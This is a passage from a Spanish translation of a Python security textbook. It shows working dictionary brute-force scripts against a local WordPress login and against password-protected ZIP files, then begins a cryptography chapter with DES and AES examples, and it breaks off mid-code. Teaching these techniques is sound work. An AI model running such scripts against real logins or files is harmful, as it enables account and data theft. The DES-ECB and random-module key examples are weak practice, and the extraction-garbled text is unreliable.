herramientas de Python para ejecutarAtaques de fuerza bruta.
Continuaremos analizando cómo ejecutar ataques de fuerza
bruta en aplicaciones web.
Ejecución de ataques de fuerza bruta para aplicaciones web
En esta sección analizaremos cómoPodemos ejecutar un
ataque de diccionario en un sitio web para determinar los
nombres de usuario y las contraseñas que permiten la
autenticación. En esta sección, implementaremos un entorno
de WordPress en la máquina local usando Docker.
Ejecución de un sitio de WordPress
Una de las formas más fáciles deImplementar un servidor
WordPress, incluida su base de datos, esutilizar Docker
Compose ( https://docs.docker.com/compose ) ya que
facilita la creación de los diferentes servicios necesarios para
iniciar una instancia de WordPress.
El siguiente docker-compose.ymlarchivo se puede encontrar
dentro de la wordpresscarpeta:
version: "3.9"
services:
db:
image: mysql:5.7
volumes:
- db_data:/var/lib/mysql
restart: always
environment:
MYSQL_ROOT_PASSWORD: somewordpress
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
wordpress:
depends_on:
- db
image: wordpress:latest
volumes:
- wordpress_data:/var/www/html
ports:
- "8000:80"
restart: always
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
volumes:
db_data: {}
wordpress_data: {}
El archivo de manifiesto especificaMySQL 5.7 y Apache como
nuestro administrador de base de datos y servidor de
aplicaciones, respectivamente.
La instalación se publicará en el puerto 80dentro del
contenedor y redirigirá las solicitudes al puerto 8000de nuestra
máquina. También usará la /var/www/htmlcarpeta de la
máquina donde está instalado Docker para alojar los archivos
de instalación de WordPress y la /var/lib/mysqlcarpeta para la
base de datos.
Para construir el contenedor y nuestra pila, ejecute el siguiente
comando dentro de la wordpresscarpeta:
$ docker-compose up -d
Al ejecutar el comando anterior, deberíamos ver los procesos
que Docker ha creado para ejecutar el servidor WordPress,
junto con el contenedor que almacena la base de datos MySQL:
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED
STATUS PORTS NAMES
1301bb183ae9 wordpress:latest "docker-entrypoint.s…" 36
minutes ago Up 35 minutes 0.0.0.0:8000->80/tcp, :::8000-
>80/tcp descargas-wordpress-1
27c5455cf1ae mysql:5.7 "docker-entrypoint.s…" 36
minutes ago Up 36 minutes 3306/tcp, 33060/tcp
Para acceder al servidor WordPress
implementado localhostpodemos utilizar la siguiente URL:
http://localhost:8000/wp-admin/install.php
A continuaciónEn la captura de pantalla podemos ver el primer
paso para instalar WordPress, donde ingresamos información
del sitio y las credenciales del usuario para la autenticación con
este servidor.
Figura 13.3: Configuración de WordPress
Una vez instalado y configurado WordPress con nuestras
credenciales, iniciamos sesión en la aplicación con el usuario y
contraseña ingresados en el paso anterior.
Figura 13.4: Página de inicio de sesión de WordPress
A continuación, utilizaremosEn este escenario, crearemos
nuestra propia herramienta automatizada para realizar ataques
de fuerza bruta contra esta instalación del servidor de
WordPress. Para ello, necesitaremos extraer los datos de los
campos de nombre de usuario y contraseña del formulario de
inicio de sesión, que, para cualquier instalación de WordPress,
se encuentra en la ruta /wp-login.php( http://localhost:8000/wp-
login.php).
Figura 13.5: Página de inicio de sesión de WordPress
Al observar el código fuente del sitio web, podemos ver que el
nombre del campo de nombre de usuario es log, y el nombre
del campo de contraseña es pwd. En nuestro script de Python,
usaremos estos nombres para realizar la POSTsolicitud al
módulo de inicio de sesión.
En el siguiente ejemplo, leemos cada palabra que tenemos en
el dictionary_wordpress.txtarchivo y hacemos una solicitud
POST al servidor de WordPress con los datos relacionados con
laUsuario y contraseña. El siguiente script se encuentra en
el wordpress_login.pyarchivo dentro de la wordpresscarpeta:
import requests
dictionary = open("dictionary_wordpress.txt","r")
for word in dictionary.readlines():
data = {'log':'user@domain.com','pwd':word.strip("\n") }
response = requests.post("http://localhost:8000/wp-
login.php", data=data, allow_redirects=False)
if response.status_code in [301,302]:
print("Credentials are valid:", data)
break
else:
print("Credentials are wrong", data)
Verificamos el inicio de sesión correcto según el código de
respuesta HTTP. Un código HTTP corresponde a la respuesta
obtenida, según la consulta realizada por el cliente.
Un inicio de sesión exitoso generaría un 200código de estado.
Un recurso inexistente devolvería los códigos 403o 404,
mientras que una redirección generaría 301o 302.
A continuación, ejecutamos el script anterior para probar este
comportamiento:
$ python wordpress_login.py
Credentials are wrong {'log': 'user@domain.com', 'pwd':
'linux'}
Credentials are wrong {'log': 'user@domain.com', 'pwd':
'admin'}
Credentials are wrong {'log': 'user@domain.com', 'pwd':
'security'}
Credentials are valid: {'log': 'user@domain.com', 'pwd':
'admin_security'}
También podríamos ejecutar algunas pruebas desde el
intérprete de Python. En las dos primeras consultas, vemos que
devuelve un código 200, ya que las credenciales son
incorrectas, y en la última prueba, las credenciales son
correctas, ya que devuelve un código 302:
>>> import requests
>>> data={'log':'wordpress','pwd':'security'}
>>> response = requests.post("http://localhost:8000/wp-
login.php", data=data, allow_redirects=False)
>>> response
<Response [200]>
>>> data={'log':'wordpress','pwd':'admin_security'}
>>> response = requests.post("http://localhost:8000/wp-
login.php", data=data, allow_redirects=False)
>>> response
<Response [200]>
>>> data={'log':'user@domain.com','pwd':'admin_security'}
>>> response = requests.post("http://localhost:8000/wp-
login.php", data=data, allow_redirects=False)
>>> response
<Response [302]>
En el anteriorPor ejemplo, ejecutamos un ataque de fuerza
bruta utilizando nuestro propio archivo de diccionario y, con
una lógica sencilla, como verificar que se devuelva el código de
redirección, podemos validar las credenciales para la página de
inicio de sesión de WordPress.
En este caso, podemos observar que si la respuesta del código
devuelve un código 301o 302, entonces las credenciales son
correctas y hemos logrado averiguar la combinación correcta
de nombre de usuario y contraseña.
Ejecución de ataques de fuerza bruta para archivos ZIP
En esta sección, vamos a:Analizar cómo podemos crear
archivos ZIP con uncontraseña y ejecutar un proceso de
diccionario de fuerza bruta para obtener la contraseña para
extraer el contenido del archivo ZIP.
Manejo de archivos ZIP en Python
ZIP es un formato de archivo de almacenamiento queAdmite
compresión de datos sin pérdida. Mediante compresión sin
pérdidaCompresión: nos referimos a que el algoritmo de
compresión permite reconstruir perfectamente los datos
originales a partir de los datos comprimidos. Por lo tanto, un
archivo ZIP es un archivo único que contiene uno o más
archivos comprimidos, lo que ofrece una forma ideal de reducir
el tamaño de archivos grandes y mantener juntos los archivos
relacionados.
Para crear un nuevo archivo, podemos usar una instancia de
la ZipFileclase en modo de escritura w, y para agregar archivos,
podemos usar el write()método . El siguiente script se
encuentra en el create_zip_file.pyarchivo
dentro.la zipfilecarpeta:
import os
import zipfile
zf = zipfile.ZipFile("zipfile.zip", "w")
for dirname, subdirs, files in os.walk('files', topdown=False):
for filename in files:
print(filename)
zf.write(os.path.join(dirname, filename))
zf.close()
Creamos un archivo ZIP con los archivosen el directorio actual.
Para leer los nombres de los archivos dentro de un archivo ZIP
existente, podemos usar el namelist()método. El siguiente
script se encuentra en el list_files_zip.pyarchivo dentro de
la zipfilecarpeta:
import zipfile
zf = zipfile.ZipFile("zipfile.zip", "r")
print(zf.namelist())
zf.close()
Otra opción para obtener los archivos de un archivo ZIP es usar
el infolistmétodo, usando la filenamepropiedad para obtener el
nombre de los archivos. En el siguiente ejemplo, listamos todos
los archivos dentro de un archivo ZIP. El siguiente script se
encuentra en el list_files_zip_archive.pyarchivo dentro de
la zipfilecarpeta:
import zipfile
def list_files_in_zip(filename):
with zipfile.ZipFile(filename) as thezip:
for zipinfo in thezip.infolist():
yield zipinfo.filename
for filename in list_files_in_zip("zipfile.zip"):
print(filename)
Para acceder a todos los metadatos del contenido ZIP,
podemos usar los métodos infolist()y getinfo(), por ejemplo. El
siguiente script se encuentra en el zip_metadata.pyarchivo
dentro de la zipfilecarpeta:
import datetime
import zipfile
zf = zipfile.ZipFile("zipfile.zip", "r")
for info in zf.infolist():
print(info.filename)
print(" Comment: " + str(info.comment.decode()))
print(" Modified: " +
str(datetime.datetime(*info.date_time)))
print(" System: " + str(info.create_system) + " (0=MS-DOS
OS-2, 3=Unix)")
print(" ZIP version: " + str(info.create_version))
print(" Compressed: " + str(info.compress_size) + " bytes")
print(" Uncompressed: " + str(info.file_size) + " bytes")
zf.close()
En el código anterior, nosotrosLeer los metadatos de un archivo
ZIP. Al ejecutar el comandoEn el script anterior, obtenemos los
metadatos del archivo dentro del archivo ZIP:
$ python zip_metadata.py
files/file.txt
Comment:
Modified: 2023-04-01 00:44:26
System: 3 (0=MS-DOS OS-2, 3=Unix)
ZIP version: 20
Compressed: 9 bytes
Uncompressed: 9 bytes
Otra operación interesante es extraer archivos de un archivo
ZIP mediante el extractall()método . El siguiente script se
encuentra en el extract_zip.pyarchivo dentro de
la zipfilecarpeta:
import zipfile
zipfilename = "zipfile.zip"
password = None
zf = zipfile.ZipFile(zipfilename, "r")
try:
zf.extractall(pwd=password)
except Excception as exception:
print('Exception', exception)
zf.close()
En el código anterior, abrimos y extraemos todos los archivos
del ZIP sin necesidad de contraseña.
Continuaremos creando un archivo ZIP protegido con
contraseña. La principal opción para crear un archivo ZIP con
contraseña es usar el pyminizipmódulo, que se encuentra en el
repositorio oficial de Python
( https://pypi.org/project/pyminizip ). El pyminizipmódulo
se puede instalar con el siguiente comando:
$ pip install pyminizip
Este módulo proporciona lamétodo comprimir
( /srcfile/path.txt, file_path_prefix, /distfile/path.zip, password, )i
nt(compress_level)que proporciona los siguientes argumentos:
src file path(cadena)
src file prefix path(cadena) o Ninguna (ruta para
anteponer al archivo)
dst file path(cadena)
password(cadena) o Ninguno (para crear un zip sin
contraseña)
compress_level(int)entre 1 y 9, 1 (más rápido) <—> 9
(más compresión) o 0 (predeterminado)
En el siguiente ejemplo, creamos un archivo ZIP
llamado output.zipmediante el compress()método. El siguiente
código se encuentra en
el create_zip_file_with_password.pyarchivo dentro de
la zipfilecarpeta:
import pyminizip
input = "files/file.txt"
output = "output.zip"
password = "my_password"
compresion_level = 5
pyminizip.compress(input, None, output,password,
compresion_level)
A continuación, podemos intentar extraer el contenido de este
archivo comprimido con la misma contraseña que se usó para
comprimirlo. El siguiente código se encuentra en
el open_zip_file_with_password.pyarchivo dentro de
la zipfilecarpeta:
import zipfile
filename = 'output.zip'
password = 'my_password'
my_file = zipfile.ZipFile(filename)
try:
my_file.extractall(pwd=bytes(password,'utf-8'))
print(my_file)
except Exception as exception:
print("Exception",exception)
Al ejecutar el script anterior, podemos ver cómo extrae el
archivo del archivo ZIP. Si intentamos descomprimirlo con
el...Contraseña incorrecta, devuelve Exception Bad password
for the file 'file.txt':
$ python open_zip_file_with_password.py
<zipfile.ZipFile filename='output.zip' mode='r'>
$ python open_zip_file_with_password.py
Exception Bad password for file 'file.txt'
Continuaremos con elDesarrollo de un script de Python que lee
un archivo comprimido de contraseñas (zip) y un archivo con
un diccionario de contraseñas, y ejecuta un proceso de fuerza
bruta que verifica todas las contraseñas del diccionario. Si una
de estas contraseñas es correcta, el script la valida y la
muestra.
Ejecución de ataques de fuerza bruta para archivos ZIP
protegidos con contraseña
La eficacia de unaEl ataque de fuerza bruta depende del
diccionario utilizado. Muchas de las contraseñas que se
encuentran en los diccionarios de fuerza bruta son palabras
cortas y sencillas o combinaciones simples de contraseñas
fáciles de adivinar. Es importante crear contraseñas únicas que
no sean fáciles de adivinar. Una combinación de números,
letras y caracteres especiales sin significado específico es
ideal.
El siguiente script de Python nos permite obtener una
contraseña de un archivo ZIP mediante un proceso de fuerza
bruta. El siguiente código se encuentra en
el get_password_zip_file.pyarchivo dentro de la zipfilecarpeta:
import zipfile
filename = 'output.zip'
dictionary = 'password_list.txt'
my_file = zipfile.ZipFile(filename)
with open(dictionary, 'r') as f:
for line in f.readlines():
password = line.strip('\n')
try:
my_file.extractall(pwd=bytes(password,'utf-8'))
print('Password found: %s' % password)
except Exception as exception:
print("Trying password:%s Exception:%s" %
(password,exception))
Al ejecutar el script anterior, vemos cómo intenta extraer el
contenido del archivo ZIP usando cada contraseña del
diccionario. Si intentamos descomprimirlo con la contraseña
incorrecta, devuelve Exception Bad password for file 'file.txt':
$ python get_password_zip_file.py
Trying password:python Exception:Bad password for file 'file.txt'
Trying password:security Exception:Bad password for file
'file.txt'
Trying password:linux Exception:Bad password for file 'file.txt'
Password found: my_password
Podríamos mejorar el script anterior haciendo posible que el
usuario ingrese el archivo ZIP y el diccionario de
contraseñas.Por un parámetro. En el siguiente ejemplo,
crearemos los dos métodos siguientes:
extract_file(zip_file, password) permite extraer el
contenido de un archivo ZIP usando la contraseña
introducida como parámetro. Si la contraseña es
incorrecta, se generará una excepción relacionada. Si la
contraseña es correcta, se extraerá el contenido del
archivo.
main(zip_file, dictionary) es el método principal que
nos permite leer el archivo del diccionario y probar cada
una de las palabras que encontremos en él, creando un
hilo para probar cada una de ellas.
El siguiente código se puede encontrar en
el zip_brute_force_dicctionary.pyarchivo dentro de
la zipfilecarpeta:
import zipfile
import optparse
from threading import Thread
def extract_file(zip_file, password):
try:
print(f'[+] Trying password: {password}')
zip_file.extractall(pwd=password.encode('utf-8'))
print(f'[+] Found password: {password}')
except Exception as exception:
pass
def main(zip_file, dictionary):
zip_file = zipfile.ZipFile(zip_file)
with open(dictionary) as passwords_file:
for line in passwords_file.readlines():
password = line.strip('\n')
thread = Thread(target=extract_file, args=(zip_file,
password))
thread.start()
Nuestro programa principal contiene la lógica relacionada con
la lectura de los parámetros del script y, si los parámetrosson
correctos, llama a nuestro método principal, pasando
como argumentsarchivo ZIP y el archivo de diccionario:
if __name__ == '__main__':
parser = optparse.OptionParser(usage='zip_crack.py --zipfile
<ZIP_FILE> --dictionary <DICTIONARY_FILE>')
parser.add_option('--zipfile', dest='zipfile',help='zip file')
parser.add_option('--dictionary',
dest='dictionary',help='dictionary file with possible passwords')
(options, args) = parser.parse_args()
if (options.zipfile == None) | (options.dictionary == None):
print(parser.usage)
else:
main(options.zipfile, options.dictionary)
Inicialmente, podemos usar la -hopción para ver los
argumentos que admite el script. En este caso, para su
correcto funcionamiento, es necesario indicar el archivo ZIP y el
archivo de diccionario:
$ python zip_brute_force_dictionary.py -h
Usage: zip_crack.py --zipfile <ZIP_FILE> --dictionary
<DICTIONARY_FILE>
Options:
-h, --help show this help message and exit
--zipfile=ZIPFILE zip file
--dictionary=DICTIONARY dictionary file with possible
passwords
Si pasamos al programa como argumentos el archivo ZIP y
nuestro diccionario, al ejecutarlo podremos ver como encuentra
la contraseña necesaria para extraer el contenido del archivo
ZIP:
$ python zip_brute_force_dictionary.py --zipfile output.zip --
dictionary password_list.txt
[+] Trying password: python
[+] Trying password: security
[+] Trying password: linux
[+] Trying password: my_password
[+] Found password: my_password
En esta sección, aprendimos cómo zipfilefunciona el módulo
para extraer el contenido de un archivo y ejecutar unataque de
fuerza bruta, utilizando un diccionario que contiene posibles
contraseñas para abrir un archivo ZIP protegido con
contraseña.
Resumen
Uno de los objetivos de este capítulo fue conocer los módulos y
herramientas que nos permiten generar diccionarios que
podamos utilizar para ejecutar ataques de fuerza bruta para
obtener información de servidores, sitios web y archivos ZIP.
En el siguiente capítulo, exploraremos paquetes de
programación y módulos de Python para implementar
criptografía con módulos como pycryptodomey cryptography.
También abordaremos algunos módulos de Python para
generar claves de forma segura con los
módulos secretsy hashlib. Finalmente, abordaremos las
herramientas de Python para la ofuscación de código.
Preguntas
Para concluir este capítulo, le presentamos una lista de
preguntas para evaluar sus conocimientos sobre el material de
este capítulo. Encontrará las respuestas en la sección de
Evaluaciones del Apéndice .
1. Usando pydictor, ¿qué comando podríamos ejecutar para
generar un diccionario de palabras tomadas de un sitio
web a través de un proceso de raspado?
2. Usando psudohash, ¿qué comando podríamos ejecutar
para generar un diccionario de palabras con una
combinación de las palabras clave que nos interesan?
3. ¿Qué script escrito en Python tiene la capacidad de
ejecutar un ataque de fuerza bruta, utilizando la salida
proporcionada por el escáner de puertos Nmap?
4. ¿Cuál es el comando que podríamos ejecutar usando
Cerbrutus para ejecutar un ataque de fuerza bruta contra
un servicio SSH, utilizando el archivo de
diccionario wordlists/ fasttrack.txtpara las contraseñas?
5. ¿Qué módulo de Python podemos usar para proteger un
archivo ZIP con una contraseña y qué método podemos
ejecutar para crear un archivo ZIP protegido con una
contraseña?
Lectura adicional
En los siguientes enlaces podrás encontrar más información
sobre las herramientas mencionadas en este capítulo y la
documentación oficial de Python para algunos de los módulos
comentados:
PyDictor ( https://github.com/LandGrey/pydictor ) es
un script de Python que proporciona diferentes opciones
para personalizar la generación de diccionarios.
psudohash ( https://github.com/t3l3machus/
psudohash ) es un generador de listas de contraseñas
para orquestar ataques de fuerza bruta.
Aiodnsbrute ( https://github.com/blark/aiodnsbrute )
es una herramienta Python 3.5+ que utiliza
el asynciomódulo para aplicar fuerza bruta a nombres de
dominio de forma asincrónica.
BruteSpray ( https://github.com/x90skysn3k/
brutespray ) es un script escrito en Python que tiene la
capacidad de buscar hosts y abrir puertos con el escáner
de puertos Nmap y ejecutar ataques de proceso de fuerza
bruta con Medusa.
Medusa ( https://github.com/jmk-foofus/medusa ) es
una herramienta de fuerza bruta para el inicio de sesión,
rápida, paralela y modular. Su objetivo es ofrecer
compatibilidad con la mayor cantidad posible de servicios
que permitan la autenticación remota.
Cerbrutus ( https://github.com/Cerbrutus-
BruteForcer/cerbrutus ) es una herramienta modular de
fuerza bruta escrita en Python para la inyección muy
rápida de contraseñas desde SSH, FTP y otros servicios de
red.
Brut3k1t ( https://github.com/maitreyarael/brut3k1t
) es un módulo de fuerza bruta del lado del servidor que
admite ataques de diccionario en varios protocolos. Los
protocolos actuales completos y compatibles
son ssh, ftp, smtp, xmppy telnet.
Únete a nuestra comunidad en Discord
Únase al espacio Discord de nuestra comunidad para discutir
con el autor y otros lectores:
https://packt.link/SecNet
14
Criptografía y ofuscación de código
Además de ser uno de los lenguajes más utilizados en
seguridad informática, Python también es reconocido por su
compatibilidad con criptografía. El objetivo principal de este
capítulo es presentar los algoritmos más importantes para
cifrar y descifrar información, abarcando las funciones
criptográficas y sus implementaciones en Python.
Aunque en este capítulo se ofrece una breve introducción a los
algoritmos criptográficos, asumiremos que el lector tiene un
conocimiento mínimo de criptografía. Si desea aprender
más,Puede hacer uso de otros recursos,
como https://www.crypto101.io .
Este capítulo abarca los principales módulos de Python para
cifrar y descifrar información,
incluyendo pycryptodomey cryptography. También
abordaremos los módulos de Python que generan claves de
forma segura con los módulos secretsy hashlib. Finalmente,
abordaremos las herramientas de Python para la ofuscación
de código .
Adquirirás habilidades relacionadas con el cifrado y descifrado
de información con módulos de Python y otras técnicas como la
esteganografía para ocultar información en imágenes.
En este capítulo se tratarán los siguientes temas:
Introducción a la criptografía
Cifrado y descifrado de información con PyCryptodome
Cifrado y descifrado de información concryptography
Generación segura de claves con
los módulos secretsyhashlib
Herramientas de Python para la ofuscación de código
Requisitos técnicos
Antes de comenzar a leer este capítulo, debe conocer los
fundamentos de la programación en Python y tener
conocimientos básicos de HTTP. Trabajaremos con la versión
3.10 de Python, disponible en www.python.org/downloads .
Los ejemplos y el código fuente de este capítulo están
disponibles en el repositorio de GitHub
en https://github.com/PacktPublishing/Python-for-
Security-and-Networking .
Mira el siguiente video para ver el código en
acción: https://packt.link/Chapter14 .
Introducción a la criptografía
La criptografía es unaRama de las matemáticas responsable
de salvaguardar el intercambio de información entre las partes
que se comunican. Incluye técnicas para la verificación de la
integridad de los mensajes, la autenticación de la identidad del
emisor/receptor y las firmas digitales. Apoya directamente el
elemento de confidencialidad de la tríada CIA, un modelo
fundamental de seguridad de la información.
A continuación se muestran cuatro algoritmos de criptografía
comunes:
Funciones hash : Tambiénconocido como cifrado
unidireccional, una función hashGenera un valor hash de
longitud fija para la entrada de texto plano y, en teoría, es
imposible recuperar la longitud o el contenido del texto
plano. Las funciones criptográficas unidireccionales se
utilizan habitualmente en sitios web para almacenar
contraseñas de forma que no se puedan recuperar. La
única forma de obtener los datos de entrada del código
hash es mediante una búsqueda por fuerza bruta de
posibles entradas o utilizando una tabla de hashes
coincidentes.
Funciones hash con clave : sonSe utilizan para
crear códigos de autenticación de mensajes ( MAC ) y
están destinados a...Para prevenirataques de fuerza bruta.
Criptografía simétrica : Estasson utilizados porsistemas
que utilizan la misma clave para cifrar y descifrar
información.
Criptografía asimétrica : Criptografía asimétricaEs una
rama de la criptografía donde una clave se divide en dos
partes: una clave pública y una clave privada. La clave
pública puede ser...Se distribuye libremente, mientras que
la clave privada debe mantenerse en secreto. Un ejemplo
del uso de este tipo de algoritmo es la firma digital, que se
utiliza para garantizar que los datos intercambiados entre
el cliente y el servidor no hayan sido alterados. Un
ejemplo de este tipo de algoritmo de cifrado.es RSA , que
se utiliza para realizar el intercambio de claves durante el
proceso de protocolo de enlace SSL/TLS.
Ahora que hemos revisado algunos algoritmos clave utilizados
en criptografía, analicemos el pycryptodomemódulo, un
módulo de criptografía de Python ampliamente utilizado.
Cifrado y descifrado de información con pycryptodome
En esta sección, revisaremos los algoritmos criptográficos y
el pycryptodomemódulo para cifrar y descifrar datos.
Introducción a pycryptodome
El módulo
criptográfico PyCryptodome ( https://pypi.org/project/pycr
yptodome ) admiteFunciones para el cifrado de bloques, el
cifrado de flujo y el cálculo de hash. Este módulo...Está escrito
principalmente en Python, pero tiene rutinas escritas en C por
razones de rendimiento. Entre las principales características,
podemos destacar lasiguiente:
Los principales cifrados de bloque admitidos son
HASH, Estándar de cifrado avanzado ( AES ), DES,
DES3, IDEA y RC5.
Modos de cifrado autenticados (GCM, CCM, EAX, SIV y
OCB).
Criptografía de curva elíptica.
Generación de claves Rivest-Shamir-
Adleman ( RSA ) y DSA.
API mejoradas y más compactas, que incluyen
atributos de vector de inicialización ( IV ) y noncePara
que los cifrados aleatoricen la generación de datos.
"Nonce" es un término utilizado en criptografía que se
refiere a un número arbitrario que solo se usa una vez en
una operación criptográfica. Para garantizar que solo se
use una vez, un nonce incluye una marca de tiempo, lo
que significa que solo es válido durante un período
específico.
Para utilizar este módulo con Python 3, necesitamos instalarlo
con los siguientes python3-devpaquetes build-essential:
$ sudo apt-get install build-essential python3-dev
Puede encontrar este módulo en el índice de paquetes de
Python y se puede instalar con el siguiente comando:
$ sudo python3 -m pip install pycryptodome
Podemos usar el Crypto.Cipherpaquete para importar un tipo
de cifrado específico:
from Crypto.Cipher import [Chiper_Type]
El Crypto.CipherpaqueteContiene algoritmos para proteger la
confidencialidad de los datos. Este paquete admite los tres
tipos de algoritmos de cifrado siguientes:
Cifrados simétricos : Todas las partesUtilice la misma
clave para descifrar yCifrar datos. Los cifrados simétricos
suelen ser muy rápidos y pueden procesar una gran
cantidad de datos.
Cifrados asimétricos : remitentesy los receptores usan
claves diferentes. Los remitentes cifran con claves
públicas (no secretas) mientras que los receptores
descifran conClaves privadas (secretas). Los cifrados
asimétricos suelen ser muy lentos y solo pueden procesar
cargas muy pequeñas.
Cifrados híbridos : Los anterioresSe pueden combinar
dos tipos de cifrados en una construcción que hereda las
ventajas de ambos. El cifrado asimétrico se utiliza
paraprotege una clave simétrica de corta duración, y el
cifrado simétrico (bajo esa clave) cifra el mensaje real.
Podemos usar el newmétodo constructor para inicializar el
cifrado:
new ([key], [mode], [Vector IV])
Con este método, solo la clave es un parámetro obligatorio, y
debemos considerar si el tipo de cifrado requiere un tamaño
específico. Los modos posibles
son MODE_ECB, MODE_CBC, MODE_CFB, MODE_PGP, MODE_OF
B, MODE_CTR, y MODE_OPENPGP. Puede encontrar más
información.sobre estos modos en la documentación del
módulo: https://pycryptodome.readthedocs.io/en/latest/s
rc/cipher/aes.html#Crypto.Cipher.AES.new .
Si se utiliza el modo MODE_CBC``` , se debe inicializar el tercer
parámetro ( Vector IV ), lo que permite al cifrador establecer
el valor inicial. Algunos cifradores pueden tener parámetros
opcionales, como AES, que permiten especificar el tamaño del
bloque y de la clave con los parámetros `
``.MODE_CFBblock_sizekey_size
EsteEl módulo proporciona compatibilidad con funciones hash
mediante el uso del Crypto.Hashsubmódulo. Puede importar un
tipo de hash específico con la siguiente instrucción,
donde hash_typees un valor que puede ser una de las
funciones hash compatibles con MD5, SHA-1 y SHA-256:
Crypto.Hash import [hash_type]
Podemos usar la MD5función hash para obtener la suma de
comprobación de un archivo. Puedes encontrar el siguiente
código en el checksSumFile.pyarchivo dentro de
la pycryptodomecarpeta:
from Crypto.Hash import MD5
def get_file_checksum(filename):
hash = MD5.new()
chunk_size = 8191
with open(filename, 'rb') as file:
while True:
chunk = file.read(chunk_size)
if len(chunk) == 0:
break
hash.update(chunk)
return hash.hexdigest()
print('The MD5 checksum
is',get_file_checksum('checksSumFile.py'))
En el código anterior, usamos el MD5hash para obtener la
suma de comprobación de un archivo. Usamos
el update()método para establecer los datos necesarios para
obtener el hash y, finalmente, lo usamos hexdigest()para
generarlo. Podemos ver cómo el hash se calcula en bloques o
fragmentos de información; usamos fragmentos, por lo que es
una técnica más eficiente desde el punto de vista de la
memoria. La salida del script anterior será similar a la que se
muestra aquí:
$ python checksSumFile.py
The MD5 checksum is 477f570808d8cd31ee8b1fb83def73c4
Continuaremos analizando diferentes algoritmos de cifrado, por
ejemplo, el algoritmo DES donde los bloques tienen una
longitud de ocho caracteres, que se utiliza a menudo cuando
queremos cifrar y descifrar con la misma clave de cifrado.
Cifrado y descifrado con el algoritmo DES
DES es unCifrado por bloques, lo que significa que el texto a
cifrar es múltiplo de ocho, por lo que es necesario añadir
espacios al final del texto que se desea cifrar para completar
los ocho caracteres. El funcionamiento de la API de cifrado es el
siguiente:
Una instancia de un objeto de cifrado se crea primero llamando
a la new()función desde el módulo de cifrado correspondiente
con la siguiente sintaxis: Crypto.Cipher.DES.new(). El primer
parámetro es la clave criptográfica, y su longitud depende del
cifrado utilizado. Se pueden pasar parámetros adicionales
específicos del cifrado o del modo, como el modo de operación.
Para cifrarDatos: llama al encrypt()método del objeto de cifrado
con el texto sin formato. El método devuelve el fragmento de
texto cifrado. Como alternativa, con el parámetro de salida,
puedes especificar un búfer preasignado para la salida.
Para descifrar los datos, nosotrosLlamar al decrypt()método del
objeto de cifrado con el texto cifrado. El método devuelve el
fragmento de texto sin formato.
El siguiente script cifra tanto un usuario como un mensaje,
simula un servidor que recibe las credenciales y muestra los
datos descifrados. Puede encontrar el siguiente código en
el DES_encrypt_decrypt.pyarchivo dentro de
la pycryptodomecarpeta:
from Crypto.Cipher import DES
# Fill with spaces the user until 8 characters
user = "user ".encode("utf8")
message = "message ".encode("utf8")
key='mycipher'
# we create the cipher with DES
cipher = DES.new(key.encode("utf8"),DES.MODE_ECB)
# encrypt username and message
cipher_user = cipher.encrypt(user)
cipher_message = cipher.encrypt(message)
print("Cipher User: " + str(cipher_user))
print("Cipher message: " + str(cipher_message))
# We simulate the server where the messages arrive
encrypted
cipher = DES.new(key.encode("utf8"),DES.MODE_ECB)
decipher_user = cipher.decrypt(cipher_user)
decipher_message = cipher.decrypt(cipher_message)
print("Decipher user: " + str(decipher_user.decode()))
print("Decipher Message: " + str(decipher_message.decode()))
El script anterior encripta los datos usando DES, por lo que lo
primero que hace es importar el DESmódulo y crear un objeto
de cifrado, donde el myciphervalor del parámetro es la clave de
cifrado.
Es importanteTenga en cuenta que las claves de cifrado y
descifrado deben tener el mismo valor. En nuestro ejemplo,
usamos la keyvariable en los métodos encrypty decrypt. Este
será el resultado del ejemplo anterior.guion:
$ python DES_encrypt_decrypt.py
Cipher User: b'\xccO\xce\x11\x02\x80\xdb&'
Cipher message: b'}\x93\xcb\\\x14\xde\x17\x8b'
Decipher user: user
Decipher Message: message
Otro algoritmo interesante para analizar es AES, donde la
principal diferencia con respecto a DES es que ofrece la
posibilidad de cifrar con diferentes tamaños de clave.
Cifrado y descifrado con el algoritmo AES
El Estándar de cifrado avanzado ( AES ) es un algoritmo de
cifrado de bloques adoptado como estándar de cifrado en las
comunicaciones.Hoy en día. El tamaño de cada bloque del
algoritmo AES es de 128 bits y la clave puede ser de 128, 192 o
256 bits. AES-256 es el estándar de la industria para el cifrado
y se utiliza en entornos empresariales, comerciales y públicos.
Entre los principales modos de cifrado, destacan los siguientes:
Encadenamiento de bloques de cifrado (CBC) : En
esteEn este modo, cada bloque de texto plano se somete
a una operación XOR con el bloque de cifrado anterior. De
esta manera, cada bloque de texto cifrado depende de
todo el texto plano procesado hasta ese momento. Al
trabajar con este modo, solemos usar un IV para que cada
mensaje sea único.
Libro de Códigos Electrónicos (BCE) : En esteEn este
modo, los mensajes se dividen en bloques y cada uno se
cifra por separado con la misma clave. La desventaja de
este método es que bloques idénticos de texto plano
pueden corresponder a bloques de texto cifrado idéntico,
por lo que se pueden reconocer estos patrones y distinguir
el texto plano del texto cifrado. Por lo tanto, no se
recomienda su uso actual como modo de cifrado en
aplicaciones.
Modo Galois/Contador (GCM) : Este esUn modo de
operación utilizado en cifrados de bloque con un tamaño
de bloque de 128 bits. AES-GCM se ha popularizado
gracias a su buen rendimiento y a su capacidad para
aprovechar las mejoras de aceleración de hardware en los
procesadores. Además, gracias al uso del vector de
inicialización, podemos aleatorizar la generación de claves
para optimizar el proceso de cifrado de dos mensajes con
la misma clave.
Para utilizar unPara algoritmos de cifrado como AES, debe
importarlo desde el Crypto.Cipher.AESsubmódulo. Dado que
la pycryptodomeAPI de cifrado a nivel de bloque es de muy
bajo nivel, solo acepta claves de 16, 24 o 32 bytes para AES-
128, AES-196 y AES-256, respectivamente. Cuanto más larga
sea la clave, más robusto será el cifrado.
De esta manera, debe asegurarse de que los datos tengan una
longitud múltiplo de 16 bytes. Nuestra clave AES debe tener
16, 24 o 32 bytes, y nuestro IV debe tener 16 bytes. Se
generará utilizando los módulos randomy string. Puede
encontrar el siguiente código en
el pycryptodome_AES_CBC.pyarchivo dentro de
la pycryptodomecarpeta:
from Crypto.Cipher import AES
import binascii,os
import random, string
key = ''.join(random.choice(string.ascii_uppercase +
string.ascii_lowercase + string.digits) for _ in range(16))
print('Key:',key)
